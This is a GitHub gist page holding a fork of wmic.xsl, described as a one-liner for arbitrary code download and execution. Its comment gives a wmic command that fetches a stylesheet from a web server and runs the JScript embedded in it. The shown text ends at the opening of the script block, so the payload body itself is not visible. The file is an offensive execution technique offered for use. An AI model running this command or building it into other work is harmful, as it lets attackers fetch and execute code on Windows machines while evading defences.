Skip to content

Instantly share code, notes, and snippets.

View timoxa0's full-sized avatar

Timofey timoxa0

  • 18:45 (UTC +05:00)
View GitHub Profile
@timoxa0
timoxa0 / wmic.xsl
Last active January 21, 2022 12:58 — forked from Arno0x/wmic.xsl
Oneliner for arbitrary code download and execution
<?xml version='1.0'?>
<!-- Discovered by @SubTee and @mattifestation -->
<!-- Execute with: wmic os get /format:"https://webserver/wmic.xsl" -->
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[